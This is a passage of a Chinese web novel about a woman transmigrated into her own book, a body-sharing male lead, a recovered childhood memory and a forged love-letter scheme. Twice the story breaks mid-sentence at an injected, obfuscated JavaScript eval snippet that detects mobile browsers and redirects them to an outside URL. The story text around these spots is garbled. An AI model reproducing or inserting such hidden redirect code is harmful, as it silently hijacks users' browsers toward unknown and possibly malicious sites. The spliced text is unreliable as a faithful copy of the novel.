日头已经降到山脊,不多时就会被彻底遮挡,保守估计,要熬到子时。可若是真到了那个时候,山林里也是一片漆黑,没有坐骑,迷失在这弯弯绕绕的林子,也会将命丢在野兽的肚子里。 “你试着勒住它!”祁浮生喊道,急驰了这么一会儿他已经觉得有些吃力,也不知道她就这样抱着马脖子跑了多久。 “我——哎呀!” 展颜本想说她不敢,可话还没说出口,就觉得自己一下子从马鞍上腾空而起,抓着缰绳的手被狠狠一勒,血脉肿胀的痛感迫使她松了手,瞬间天旋地转。 原是路上有一处隐蔽在草丛里的路障,本意当是为了拦住逃跑的野兽,没想到倒是拦住了她的马,“咔擦”一声,黑马前蹄骨裂,向前狠狠栽倒在地,展颜被甩了出去。 “服了!”祁浮生呵道,一个起身从马上跃起,伸手用力抓住她的手臂。 为了防止猎物绊倒后可以快速起身,路障会被专门设在有一定坡度的杂草间,虽不是什么峭壁,但足以让猎物在斜坡上不断翻滚直至…… *** 山谷的夜带着水汽直往骨头里钻,展颜是被脚踝处的刺痛惊醒的。苔藓覆盖的地面像是块浸了水的棉布,她撑着胳膊坐起时,掌心碾过一片冰凉的湿土,青草气味混和着水汽扑面而来。 夜色浓得化不开,隐在云后的月亮不肯露面,只有稀疏的星星撒下一点光亮。 “嘶——”她挪动身子却被脚腕处的剧痛扯得倒抽一口冷气,低头才发现裙摆被荆棘勾破了好几处,露出的脚踝肿得像个馒头。背后先前被树枝划出的伤痕更是火烧火燎地疼。 夜风吹过,展颜打了个寒噤这才想起来滚落急坡时的混乱:马失前蹄的尖叫,祁浮生拽住她的手…… “祁浮生?”她试探着喊了一声,声音在寂静的山谷里显得格外微弱。 借着星光,展颜终于看清身侧的景象。 祁浮生仰面躺在地上,红衣被泥水浸得半湿,他双目紧闭,长长的睫毛上凝着水珠,平日里总是戏谑的嘴角此刻毫无血色,随着微弱的呼吸轻轻起伏。 “喂!你醒醒!”展颜心里一紧,连滚带爬地挪过去,颤抖着探向他的鼻息,还好,还有气。 就在这时,不远处传来“哒哒哒”的声响,展颜闻声望去,祁浮生的白马“踏雪”正焦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610231|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急地在几丈外踱步。见展颜清醒了,它迈步到祁浮生的身边,脑袋轻轻蹭着祁浮生的头,发出“嘶嘶”的低鸣。 “踏雪,别碰他……”展颜挣扎地爬过去想要阻止白马,月光恰好从云缝里漏下一缕,照亮了祁浮生额角仍在渗血的伤口。 伤口不算深,却因为撞击在岩石上显得有些狰狞。额角一道触目惊心的血痕蜿蜒而下,在苍白的脸上划出刺眼的红。 书里都是怎么做的,书里都是怎么做的……展颜撕下裙摆的布条,想为祁浮生包扎伤口,却发现手抖得厉害。 “祁浮生,你可别死了……”她咬着牙,用布条紧紧缠住他的额头,“你要是死了,谁陪我一起吐槽剧情……谁和我一起做任务……”说着说着,鼻头突然一酸,也不知是疼的还是怕的。 对了!任务! “系统!”展颜喊着,从来没有那么急迫地想看见系统出现。 一声救赎感满满的“叮——”响起。 “01宿主请问有什么——天呐!这是什么情况!”系统惊讶道。 “你别问了,快救救他!”展颜急切。 “这也属于改变剧情点的范畴吗?宿主确定消耗一次机会?” “确定!!!” “叮——已完成宿主需求,修复祁浮生伤口,系统退下。”系统音刚落,祁浮生额角的伤口便以肉眼可见的速度快速愈合,只是苍白的脸色依旧。 展颜松了口气,刚想扶起他却见祁浮生的睫毛猛地颤动了一下。他喉结滚动着咳出两口浊气,睁开眼睛, 那是一双全然陌生的眼睛。 没有了往日的戏谑,只剩下冰冷的审视和毫不掩饰的敌意。漆黑的瞳孔里映着展颜惶恐不安的脸,犹如淬了毒的刀子直刺人心。 “你是谁?” 祁浮生的声音沙哑干涩,带着一股不容置疑的压迫感。 展颜被他看得心里发毛:“我……我是展颜啊!你不认识我了吗?” 啊?这是什么狗血剧情,失忆梗?! “展颜?”祁浮生低笑一声,那笑声里充满了讽刺,“哪个展颜?是那个把我当下人对待的恶毒庶女,还是……从别的地方来的冒牌货?” 他猛地抬手,骨节分明的手指精准地掐住展颜的脖颈。指尖的力道大得惊人,展颜只觉得呼吸一窒,眼前阵阵发黑。 不是失忆! “你怎么会知道……”她艰难地挤出几个字。 这个眼神!这个语气!完完全全就不是她认识的那个毒舌编辑! “我怎么会知道?”祁浮生凑近她,温热的呼吸喷在她的脸上,却带着刺骨的寒意,“这具身体里多了个奇怪的家伙,几乎天天都和你在一起,还帮你做那些莫名其妙的事情……你当我不存在吗?” 他的眼中闪过一丝阴鸷:“你们知道很多事情,知道展清梦,知道我大哥,甚至还有皇室!什么‘男女主’,‘剧情’……很多不属于这个世界的东西。” 展颜瞳孔放大,他是……原来的祁浮生!!!到底是怎么回事,怎么就突然切换回来了? 26.共生 “你不是展颜。”祁浮生道,“真正的展颜不会关心别人的死活。” 展颜惊恐地抓着他的手腕想推开,却被他掐得更紧。月光下,他额角未愈的伤口又渗出血丝,滴在她的手背上,宛如一朵妖异的红花。 “你想干什么?”她艰难地喘息。 “告诉我你到底是谁,从哪里来,若是不说,就把你扔在山谷里喂狼。” “我……”展颜看着他眼中毫不掩饰的杀意,她笔下的祁浮生虽然身子赢弱,但是狠戾变态程度完完全全就是整本书里的top1。 她强迫自己冷静下来,像平常那些穿书文一样说自己因为落水或是受到了什么刺激性情大变,这种说辞在他这里定然是行不通的。 展颜挤出一个虚弱的笑:“我……我是从未来来的,我知道你的结局不好……” 祁浮生的指劲松了些,眼中闪过疑虑。 展颜趁机道:“你不想永远被你爹不看重,被你兄长压着一头,也想要得到……我阿姐的青睐。” 脖颈间的手一紧。 “我可以帮你!”展颜挣扎喊道,瞥了眼旁边焦躁的踏雪,“而且你根本不会骑马,没有我,你连这匹马都驯服不了,也一样出不了山谷。” 祁浮生盯着他,许久才缓缓松开手,展颜贪婪地吸着空气,脖颈上留下五道清晰的红印。 他踉跄着退后一步,靠在一旁的树干上,月光勾勒出他此刻虚弱却充满戾气的轮廓。 他嗤笑一声:“想要出山谷,谁说一定要骑马?” 从脚边的草丛里拔出一颗奇异的草药,祁浮生将草药碾出汁液。 忘了,他会药理。 展颜的心尖一紧,对于祁浮生来说,做出什么刺麻散都是一件极其简单的事,那现下引来什么鸟兽虫蛇指路更是再正常不过。 “我可以帮你,让我阿姐对你改观……”展颜对上他怀疑的目光,情况有些复杂,任务得先往后放放,得到祁浮生的信任才是现在最重要的事情。 “哦?”他开口。 “你们不是要撮合我哥和展清梦吗?能这么好心。” “这……识时务者为俊杰嘛。”展颜尽可能呈现出真诚的模样,“你也见到了,我现在是孤立无援,我没有理由欺骗你不是吗?” 祁浮生不再接话,沉默着看了她良久。 *** 山谷的雾气还未散尽,展颜扶着踏雪的马鞍,忍着脚踝的剧痛站起身。祁浮生靠在树旁,抱臂看着她忙活。 “上来吧。”展颜拽了拽缰绳,白马温顺屈膝,踏雪现在只敢待在展颜的身侧。 祁浮生依言坐在展颜的身后,踏雪站直马身,不可避免的一阵颠簸,展颜感受到身后之人身体的紧绷。 她抬手解下头上那条浅黄色发带。 “想绑我?”祁浮生挑眉看着展颜。 “怕你掉下去摔死。”展颜咬牙,“这马认主,如今的你……你不会骑马,不绑着等会儿要是不小心摔下去别怪我。” 展颜将发带绕过两人的腰间,黄色的发带结实地将两人捆在一起,一抹黄色在祁浮生暗红的衣料上显得格外刺眼。 “这么丑的颜色,他是怎么穿出来的。”祁浮生嫌弃道。 展颜没有接话。她能感受到身后之人的气场和之前完全不同,一个热情似火,一个阴郁寒凉。她能感受到祁浮生的呼吸,每一次起伏都牵扯着腰间的发带。 马开始在崎岖的山路上行走,好在老马识途,踏雪记得出山的路。展颜按照之前学的方法全神贯注地控着马。 忽然,祁浮生的手探向路旁一丛带着茸毛的野草。 “你干什么?”展颜警惕回头,这家伙不会在自己身后偷偷摸摸搞什么毒药然后把自己毒死吧,毕竟这里荒山野岭的看起来确实也是个毁尸灭迹的好地方。 “别动。”祁浮生的声音在她头顶响起,不等展颜反应过来,一团湿漉漉的草浆就按在了她背后的伤口上。 “嘶——”刺痛瞬间窜遍全身,展颜猛地挺直脊背,差点从马背上摔下去,伤口处传来的疼痛让她忍不住眼眶发红,“你干嘛!要谋杀啊!” 祁浮生动作一顿,看着草浆渗入她的伤口,眼神晦暗不明:“死不了。”语气漠不关心。 展颜忍着不敢反驳他,她知道现在祁浮生对她更多的是怀疑和利用,但是她也不能让他受伤,只因为祁季随时可能回来,更因为她不能让他有机会和借口把自己的秘密捅出去。 “你好像很怕我死,是因为他吗?”祁浮生突然说道。 这可怕的直觉。展颜心里一颤,老天爷,和这家伙要怎么相处啊,她现在真的觉得和这人一比,祁季有多“可爱”了。也是难为展清梦要面对他的追求。 展颜秉持着少说少错的原则,选择了闭嘴。 看着她此刻小心翼翼的讨好模样,祁浮生像是很受用。 “喂。”他道,声音里带着不易察觉的探究,“你到底图什么?总不能真的只是想让展清梦和祁泽川在一起吧。” 展颜没有回头,握着缰绳的手紧了紧轻声道:“我只想回家。” 祁浮生:“……” 腰间的浅黄将两个各怀心思的人绑在一起,这场穿书远比展颜想象得更加精彩。 *** 天边泛起光亮,林间的小路越走越敞亮,就在展颜意识即将模糊之前,远处的道路上传来“哒哒”的马蹄声。 “阿颜——” “二弟!” “展姑娘——” 有人呼喊着。 是有人来救她了吗?展颜脱力,视线模糊。 “哎你——” 一片漆黑。 *** 等到展颜再一次醒过来,已经是五日之后。 屋子里的沉香熏得人有点头晕,背后缠着绷带,脚踝上的伤已经好得差不多了。 屋里没有其他人。 “系统。”展颜轻声呼喊,声音带着刚醒的沙哑。 “01宿主。”系统担心的声音随着一阵电流声响起。 展颜眨了眨眼,努力撑起身子靠在床榻的围栏上:“我昏迷多 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不会附身到什么鸟兽虫鱼身上去了吧?展颜脑海里浮现出各种稀奇古怪的画面。 系统看出展颜的顾虑:“02宿主的灵魂仍然存在于祁浮生的体内,具备意识,只是无法掌控身体的自主权,目前呈现为灵魂共生状态。” 共生?展颜喃喃道,指尖无意识扣弄着被角,眉眼间的褶皱因为顿悟被抚平,所以说祁浮生知道她和祁季的关系和经历过的一切,都是因为他一直都待在这具身体里,只是不能有所行动罢了! 天呐细思极恐,看来以后更要秉持少说少错的原则了。 等等! 展颜想起了祁浮生来展府送糕点的那一日,他好像也是这般视她为敌,难道…… 用手挠着头发,这个家伙又忽悠她!那次定然也是发生了灵魂互换的事情,还说什么是因为感觉背后有人盯着他,鬼话连篇,她当时就不应该信他。但现在想这个也无济于事。 “那他们的灵魂切换有什么契机吗?”展颜试探问道,只要能把人先换回来,其他什么都好说。 “两种人格的出现无明显规律。” 展颜:“……” 这意思是只能干等了?这算什么?一场灵魂合租?其他穿书文里也没有这种情况发生啊,但凡来个什么性别转换,或者什么打怪升级,还是什么攻略反派病娇,这些都好说啊,毕竟她脑海里的小说储备粮不少,至少有很多的书籍可以提供参考。 但如今她要面对的是什么情况啊? 好在展颜还算冷静,她理清思路,兜兜转转,除去男女主提升的好感度变化之外,一切都好像回到了原点——如何在这个世界先生存下来。 那就要把事情拆开来看,第一件事,她要先获得祁浮生的信任,顺着他来。 那这件事好办,展颜摩拳擦掌,大脑的齿轮咕噜噜开始转动起来。忽悠嘛,如今在这个世界上还没有比她更会忽悠的人! 不就是想要展清梦的青睐吗?老娘有的是办法! 27.往事 “宿主。”系统道,“系统最近升级,建立了一个主要角色库,可以给宿主提供一些帮助。” “角色库?让我看看?”展颜好奇。 “刷——” 面前呈现出一块半透明的书册,上面的字闪烁着。 “展清梦……祁泽川……”展颜一页页翻阅着,书册上有相关角色的基本信息,总共有十来余人。 “这是谁?”展颜指着书上最后一页上的名字,“西凉……主君?” 死去的记忆开始攻击她,展颜记得凉钰好似同她说过:“西凉的主君不是已经被杀了吗?” “回宿主,现在的西凉主君应当是当年下落不明的小主君。” 这样啊,展颜点点头,随后又疑惑皱眉,他为什么会出现在这本书里?她压根就不知道有这么一号人物。 “系统,给你提个建议,下次更新能不能给这个角色库增加人物照片,这样比较好认。”展颜道。 “收到。” 将书册翻到祁浮生的那一页,展颜指着书册上的一行字:隐藏回忆。 “这又是什么?为什么别人没有这行字。”展颜问。 “回宿主,这是角色的隐藏重要记忆,只有当宿主对某个角色有记忆盲区的时候才会出现,可以帮助宿主更好的了解角色,或许是角色的弱点。” 弱点?展颜眼睛都瞪大了,还有这种好事!这张救命牌,她肯定要尝尝咸淡。 毫不犹豫,展颜点下按键。 *** 燕京的腊月,大雪纷飞,寒风直击人骨髓。 百姓都躲在屋内,不敢踏出屋门半步,即使是无可奈何外出有事的人,也会在办完事后急匆匆地赶回家门。 香积寺后墙的阴影里,一个约莫八九岁的少年蜷缩着,裸露在外的手指已经冻成了青紫色,雪花砸在地上发出沙沙的声响。 少年饥寒交迫,长时间的跋涉令其疲惫不堪,动不了身,只能眼睁睁地看着雪花在自己身上覆上一层惨白。 他靠在冰冷的砖墙上,视线逐渐模糊。意识犹如风中残烛,摇摇欲坠。 “不能死……”将指甲抠进掌心,试图用疼痛使自己保持清醒。 就在这时,墙那头传来“吱吱呀呀”的踩雪声,有人来了。 祁浮生浑身一紧,以为是追兵寻来,费力抬起头,却透过纷飞的雪花,看见了一个小小的身影。 是一个戴着帷帽的小姑娘,不过五六岁的样子。帷帽的白纱很长几乎要盖住她的整个身子,随着她犹豫的步伐轻轻晃动。 小姑娘跺着脚,嘴里嘟囔着:“哼!什么都是阿姐的!”她手里紧紧抱着一个油纸包,糕点的香气散出来,勾得祁浮生的胃里一阵痉挛。 小姑娘察觉到墙角的动静,好奇歪了歪头,白纱遮挡下的琥珀瞳一闪而过,清澈得不含一丝杂质。 她一定会像其他人一样露出嫌弃的神情,祁浮生想。 看到祁浮生的瞬间,小姑娘先是吓了一跳,可很快,许是发现面前之人没有什么攻击性,好奇战胜了恐惧,她蹲下身小心翼翼靠近。 “外面这么冷,你怎么一个人在这里?”小姑娘的声音带着一丝奶气,却异常清晰地穿透了呼啸的风雪,“你不回家吗?” 家?哪里还有家? 祁浮生张张嘴巴想说话,却被突然塞进怀里的油纸包惊到,一时忘了反应。 “给你!喏,给你吃呀!这是我阿娘买的,我才不喜欢吃呢,看你可怜巴巴的都给你好了。”小姑娘的语气傲娇。 油纸包的温热温度透过手指传来,有什么东西和散落在祁浮生身上的积雪一同悄悄融化。 “快吃呀!” 祁浮生撕开油纸,里面是几块精致的糕点,一看就知道价值不菲,他抓起一块放进嘴里,甜丝丝的味道瞬间在舌尖化开,带着一丝不易察觉的暖,驱散了不少寒意。 太暖了,太甜了,就像草地上正午的阳光,是他如今为数不多能感受到的温暖,不争气地眼泪滴落在手上。 “哎呀,你怎么哭了,是糕点不好吃吗?我就说阿娘买的糕点不好吃吧!这都难吃哭了!”小姑娘的语气里带上慌张。 祁浮生摇头,声音暗哑:“你叫什么?”将来他有机会报仇的话,他会放过她。 谁知小姑娘哼了一声,声音清亮却又傲慢:“才不告诉你呢!” 愣神的功夫,远处传来叫唤声。 “姑娘!你怎么在这里,展夫人都等急了!”丫鬟急匆匆跑过来抱起小姑娘就走。 祁浮生想要追上去,却站不起来,只能眼睁睁看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620787|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那顶白色帷帽消失在墙角。 *** 展颜还没有从方才窥视到的那段回忆里回过神来。 呵!呵呵呵!展颜崩溃苦笑。现在好了,祁浮生的弱点是抓到了,但是离她的死期也不远了。 那记忆里小小一只戴着帷帽的小女孩和姜燕回上次在去香积寺路上同她讲的儿时趣事完美重合在了一起。 那小女孩明显就是她展颜啊! 难怪祁浮生总是要送展清梦春日斋的糕点,原来是他藏在心底的白月光,从一开始就认错成了阿姐。也不怪他认错,毕竟谁心目中的白月光都不可能是一个经常撒泼耍无赖的娇气包。 这哪里是救命牌,这分明就是送名牌,还嫌弃她活得不够久吗。 “宿主,这场误会不是一件好事吗?你若是将当年的事情告诉他,说不定他就会放过你呢!”系统兴奋地声音都打颤了。 “误会个鬼啊。”展颜作晕倒状躺回床上,“他要是知道放在心里十几年的白月光是我这个……这个算了不管什么,就他那个性子,不得把我当场灭口?” 她脑海里闪过祁浮生掐她脖子的那个眼神,又想起她当初给他按上的“得不到就毁掉”的偏执设定。不行!绝对不能让他知道真相。 否则,她命不久矣。 “必须稳住他!”展颜蹭得坐起身,眼神坚定,“我先按照约定帮他追求展清梦,等祁季回来再说。” 屋外传来走路声,有人来了。 系统闪退。 门被打开,秋果端着一碗药轻手轻脚地进了门。 “姑娘你醒了?” 展颜喝完从秋果手里接过的药,急忙问道:“祁浮生……我是说祁二公子那边如何了?” “祁公子无恙,倒是姑娘你昏了五日,老爷夫人都吓死了。”秋果道,“老爷已经查到当日马厩里下药的小厮,人已经进府衙了。” 小厮?看来没有查到阮芊芊的头上,算她运气好,现在她可没有闲工夫管她。 “秋果,祁府可有什么消息送来?”展颜试探问道。 “有的,方才守门的给秋果一封信说是祁二公子写给姑娘的。”秋果拿出一封信。 展颜心尖一颤,展开信纸。 「明日午时,东街如意茶馆。」 28.书信 如意茶馆还是同往常一般热闹,展颜坐在茶馆一角的雅间里,拘谨地看着面前的祁浮生将手里的杯盏缓缓搁置在桌面上。 他身着锦袍,捻着杯盏的手,指节修长,周身一副偏偏君子的气度,可偏偏那双眼此刻正透过蒸腾的茶雾盯着展颜,一副要把人看穿的模样。 他不说话,展颜也不敢说。 “说吧,如何做。” 真是直切主题啊,展颜心里默默擦把汗。 “我先给你说说现在的情况。”展颜忐忑开口,“我阿姐现在对你大哥有那么些意思——但你完全有可能反败为胜!”眼看着他刀人的眼神出来了,展颜赶紧补上一句。 “有话直说,别绕弯子。”祁浮生垂眼。 展颜深吸一口气,拿出自己提前准备好的宣纸。她昨日已经细细想了好久,有什么办法可以让祁浮生以为自己和展清梦的感情在发展,但同时不影响展清梦和祁泽川之间的感情。 功夫不负有心人,经过一个晚上的思考,她想出了这个办法:写信。 展颜沾沾自喜,她怎么会这么聪明,通过写信的方式交流既可以让祁浮生和展清梦不直接见面,还可以通过文字传递出情感的递进。 既然面都见不上了,那对面所谓回信的那个“展清梦”由她展颜来代替,祁浮生也不会知道。 对上祁浮生疑惑的目光,展颜得意道:“写信!你追求过女孩子吗?那定然是没有。” 她自问自答。 “你这一见钟情是已经不可能了,那你就走日久生情的路线。”展颜头头是道,“日久生情,最重要的是投其所好,按照我阿姐的性子,先聊诗词歌赋,再谈风花雪月,等她对你好奇了,自然对你的态度就会发生变化。” 看着她手中的宣纸,祁浮生一脸质疑。 “你确定这样能行?” “别不相信。”展颜道,“追女孩子就是要含蓄些,追求我阿姐更是,要是像你之前一般直来直去,不懂半点迂回之术,任谁都会害怕的好吧。” 想来展颜现在没有那个胆子蒙骗他,祁浮生拿起案上的狼毫笔,在砚台里蘸了蘸,认真问道:“如何写。” 展颜有模有样地踱着步子,清清嗓,抬手点了点宣纸道:“听好了,要写的风雅不失端庄,细腻不失大气,真挚不失洒脱……” 她滔滔不绝。 祁浮生将手里的狼毫笔往桌上一放,靠在椅背上好整以暇地看着她,直到展颜察觉不对,声音渐渐变轻。 唇角微勾,一脸无语:“笔给你,你来写。” “别别别,你写你写。”展颜眨眨眼卖乖道。 祁浮生盯着她亮晶晶的眼睛,又重新拿起笔悬于宣纸上方,一双欠乏血色的手略微苍白,但握笔的姿势却生硬地像拿着刀子。 刚一下手,一个充满戾气的“展”字现于纸上。 “等等!”展颜紧急叫停。 “又怎么了。” “你这是写字还是刀人,这个字太凶了,要温柔点。” 展颜恨铁不成钢。 一着急就上手的毛病改不了,她按住祁浮生的手,许是手臂不够长,环在他身后的手带着点压力压在他的后背。 “放松,手腕放松,别用力。” 展颜是教得神采奕奕,祁浮生的身体瞬间僵硬,能清晰闻到她身上的香膏气味。 他微不可查地咽下一口唾沫。 慌张的心跳在耳膜擂鼓阵阵。 祁浮生皱眉,为何明明不喜欢她,却好似也不反感她的触碰。 甚至。 想要逗逗她。 “这样?”他故意放软了腕子,写出来了几个歪歪扭扭的字。 墨迹在纸面上晕染开,戳破了宣纸。 展颜:“……” 她退开半步瞪着他,却瞥见坐在案前之人的耳尖红艳艳的,顿时忘了生气。新鲜劲窜了上来。 这家伙该不会是害羞了吧?他也会害羞?也难怪,平日里也没有什么人会这般与他亲近。 展颜心里起了个坏主意。 “怎么,祁二公子也会害羞?” 祁浮生被戳破心事,猛得抬眼,眼神阴鸷得像是要吃人:“再废话,就把你绑在椅子上看着我写。” “错了错了。”展颜立马喊服。 能伸能曲才是大丈夫。 控着笔,祁浮生的笔锋收敛了些,但用展颜的话来说,勉强及格。 “这里。”展颜指着最后结尾处,“你加上一句,‘纸短情长,言不尽意,盼姑娘勿以某为唐突’。” “要是展清梦把我当成了登徒子,有你好看的!”话虽这么说,但祁浮生还是依着展颜的话往纸上写着。 “我阿姐看了,保管对你另眼相看。你放心吧!” 展颜拍着胸脯,一脸自信,你就放心吧,展清梦绝对不会看见这封信的。 *** 是夜,祁府。 祁浮生一个人默不作声地回了院子,余光瞥见放置在院中空地上的两把藤椅,脚下一顿先是愣住,原先还算松快的眼神又变得沉闷起来。 安福从膳房过来,端着一碗泛着苦涩的黑褐色药汁,后脚随着祁浮生进了院子。 “公子,该喝药了。” 回头看了安福一眼,祁浮生道:“将药放到书房的桌上,你先下去吧。” 安福点点头,到屋里将药放下就准备离开。 “等一下,把这两把椅子搬走,看着碍眼。”祁浮生道。 安福不解问道:“这不是公子之前大费周章请匠人特制的两把椅子,现下就不要了吗?” 安福说着就准备动手搬摇椅。 刚要上前,就见自家公子走近之前展二姑娘坐过的那把摇椅。 “算了。”祁浮生又道,“先……先放着。” 摇椅微微晃荡着,祁浮生想到之前展颜躺在摇椅上蹬脚晃荡椅子的画面,那个时候的她倒是比今日跟自己待在一起要自然多了。 抬头正巧看见一轮月亮,挺圆。 就像一个在黑暗里待惯了的孩子,自己走过了一段漫漫长路,终于抬头见到了一束倾洒下的月光,正不知该不该开心,却发现明月不独照我。 甚至发现,明月本意也不为照他。 安福闻言,也不敢多问,等他离开后,祁浮生转身进了书房。 案头那碗黑褐色的药汁里,隐隐还冒着热气,祁浮生端起药碗,指尖蹭了蹭碗口边缘残存的没有擦净的药渣子。 苦涩的气味直冲鼻腔,勾得太阳穴突突直跳。 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将空碗放在窗沿上,夜风冷峭,却让他感到格外清醒,那些被遗忘的记忆,曾经的自己,或许在等着他重新拾起。 *** 一大早,展颜就把昨日祁浮生让她代交给展清梦的信从枕头底下拿了出来。 今日她身着一身豆蔻粉的软缎裙子,那粉不艳俗,倒像是初绽的桃花,衬得她肌肤胜雪,眉眼弯弯。 展颜的头发松松地挽成两个垂耳发髻,像两只温顺的小兔子伏在肩头,两根同色的发带从发髻间垂下,伴着她的动作轻轻摇曳,在阳光下闪烁着柔和的光芒,几缕发丝从发髻间滑落,调皮地拂过她的脸颊,更添几分灵动。 一双眼此刻滴溜溜转着,在盘算着些什么。 该怎么给祁浮生编这封回信呢? 要以展清梦的口吻回信,既要端庄得体还不能太冷漠,还得吊住祁浮生的胃口。 展颜此刻颇有一种要完成甲方合约内容的即视感。 她托着下巴,面前摆着从阿姐书房里拿来的宣纸,歪着脑袋看着池塘里的锦鲤吐泡泡,脑子里却一团浆糊。 果然是好久不动笔,懈怠了。 “端庄……不能造作……”展颜咬住毛笔尾巴思索着。 有了。 “系统。”展颜唤道,“帮我的字迹自动纠正为展清梦的字迹。” 还得是她谨慎,不知道有多少本书里的掉马环节是因为字迹上出了问题被揪出来的。 “收到。”系统应道。 展颜眼睛一亮,提笔刷刷地在纸上写了起来:得见公子来信。 这句话很客套吧,不错不错,她歪着脑袋又想了想加上一句:心生欢喜。 这不得把祁浮生的嘴给钓歪? 她又蘸了蘸墨水,继续写道:公子有心了,今日府中事务繁杂,偶有闲暇给公子回信,还望公子莫要见怪。 就这样磨磨蹭蹭又灵感突袭地刷刷琢磨了一上午,一封回信大功告成。 “嘿嘿,我就是个天才!这下有好戏看了。”展颜将信纸折成个小方块,塞进信封里,蹦蹦跳跳往屋里跑去,想把信先藏起来,再叫秋果找个时间送到祁府去。 可谁知,刚把信藏好,就撞见了走进屋里的展清梦。 29.香膏 展颜心里一惊,下意识的背过身,远离藏书信的柜子。 展清梦见她这慌慌张张的模样,哭笑不得,倒是没有起疑,只是温声道:“阿颜在屋子里做什么呢?” 展颜有点尴尬,做了亏心事还差点被当事人抓个正着,不自然的揪着裙摆:“没什么阿姐。” “我见你这几日都一个人待在这屋子里也不出门,要不要同阿姐出去走走?”展清梦道,“听说街上刚开了个名为‘花间露’的香粉铺子,一起去看看吧。” 展清梦自然不知道展颜昨日偷偷出门去见了祁浮生,在展清梦眼里,展颜就是被狩猎那日的事情吓破了胆,整日待在府里,跟打蔫了的花似的。 作为展颜的阿姐,她自然也不能看着自家妹妹一直这么消沉下去。 她要让她变得开心起来。 “走,阿姐带你去看看。”展清梦也不和展颜磨蹭,直接拉过她就往外走。 盛情难却,再推辞便是心里有鬼,正好挣扎了一上午的文字游戏,此刻也是正要放松的时候。 于是乎展颜“心安理得”地以这没来由的放松心情为借口,同展清梦走了。 *** 这几日心里一直咯噔咯噔的,即使是出门也没有好好看过这京城里的景致。 今日得以闲暇,展颜透过马车的窗户往外看,发现走在街上的姑娘们几乎各个腰间都挂着一个花朵状的荷包。 “为何这些姑娘都挂着这样式的荷包,每个颜色和花朵形状还都不相同?”展颜好奇问道。 见她终于有话可说,展清梦高兴道:“这便是我与你说的京城里新开的那家花间露刚推出的香膏。” “在花间露里,每个姑娘可以按照自己的喜好挑选喜欢的香膏气味,在一个小罐里调和成自己独一份的香膏,再将香膏放置在自己喜欢的花状香囊里,佩戴在腰间,既可以驱散即将入夏的蚊虫,还可以让自己周身时时清香,这几日在京城里可是供不应求呢。”展清梦耐心解释。 DIY……饥饿营销……展颜都听愣了,这是哪个商业奇才能想到的办法,她书里还有这般人物? “阿姐,这花间露是谁开的呀?这般厉害!”展颜凑到展清梦面前。 展清梦用手指点了点展颜的鼻尖:“你呀!现在都这般惊讶了,要是知道了是谁可不是要更夸张。” “可是什么资深的商贾?”这种关于钱的事情总是能够轻易勾起展颜的兴趣,倒也不是想要赚钱,展颜称这种求知若渴的状态为“种田文综合症”。 就是看多了种田文,总是想了解主角一步步赚大钱的爽文过程。 展清梦摇了摇头:“不是,是一个跟你我差不多大的小姑娘。” “小姑娘?” 那不就更厉害,更爽了吗! “是国商江家的千金,江宜苏江姑娘。” 国商啊? 展颜激动的心就像过山车似的一下子落到谷底,还以为是什么励志种田大爽文,没想到是富二代体验生活。 展清梦看出了展颜情绪的变化,又道:“可别小看这江姑娘,除了花间露,锦绣庄,如意茶楼,还有京城里最富贵的那间酒楼金顶阁,甚至是藏书最多的万里斋都是她自己开的,除去本金,没有求过江家一分一毫。” 顿时,展颜又肃然起敬。 “那她是个什么样的人啊。” “我也不知道,官商鲜少往来,阿姐也没有见过这个江姑娘。”展清梦摇头。 定然是一个同展清梦一样知书达理的持重模样,毕竟是要会坐在帐房里拨弄算珠的人儿,展颜想着。 不一会儿,马车到了花间露。 店铺门前已经被姑娘们围得是行走都困难,生意之红火也是一眼便能看出来了。 “来,小心。”展清梦拉着展颜的手,两人迈步进了花间露。 刚一进门,花间露的各式花香便连连往展颜的鼻子里钻,一种种花香相互交叠,但却不混杂,不甜腻。 铺子正中间摆着张圆形的三层桌,用展颜的话来说就是旋转木马造型的香膏台,几匹金色的小木马驮着各色的香膏罐子,有粉瓷,青瓷,白瓷等等,里面盛着的香膏有栀子的,牡丹的,茉莉的数不胜数。 圆桌每转上一圈,便有不同的花香气息弥漫上来。 沿桌插了一圈的新鲜花朵,一看就是今早新进的,花瓣上还留有晶莹的露珠。 靠窗是一排的妆台,台面上铺着藕荷色的绒布,摆着螺钿装饰的镜匣和各种试用的香粉胭脂。 角落的香炉里还点着香,青烟袅袅升起。 这哪里只是一个胭脂铺子,这里简直就是女孩子的天堂啊!展颜发誓今天不买点东西不走了。 正扒着“旋转木马”香膏台打着转,展颜端详着一盒香粉,只听隔壁珠帘之后有人突然拔高了声音:“可不是吗,江老板前几日做的珍珠粉,我这几日天天涂抹,早上起来跟用晨露净过脸似的!” 江老板?今日江宜苏在店里? 展颜耳尖一动,左钻右钻地穿过人群到了隔壁。 哪个是江宜苏?展颜张望着,是那个站着为客人添妆的?看着不像。 猛听得货架之后“咣当”一声,接着是一个亮得炸耳朵的声音响起:“让让!店里新采的花蜜到了!” 人群自动分开条道,展颜只见个穿着石榴红衣裙的女子,手里稳稳端着一个瓷罐,她梳着的发髻上没有戴什么珠翠首饰,只是插着两支金步摇,随着动作叮当作响。 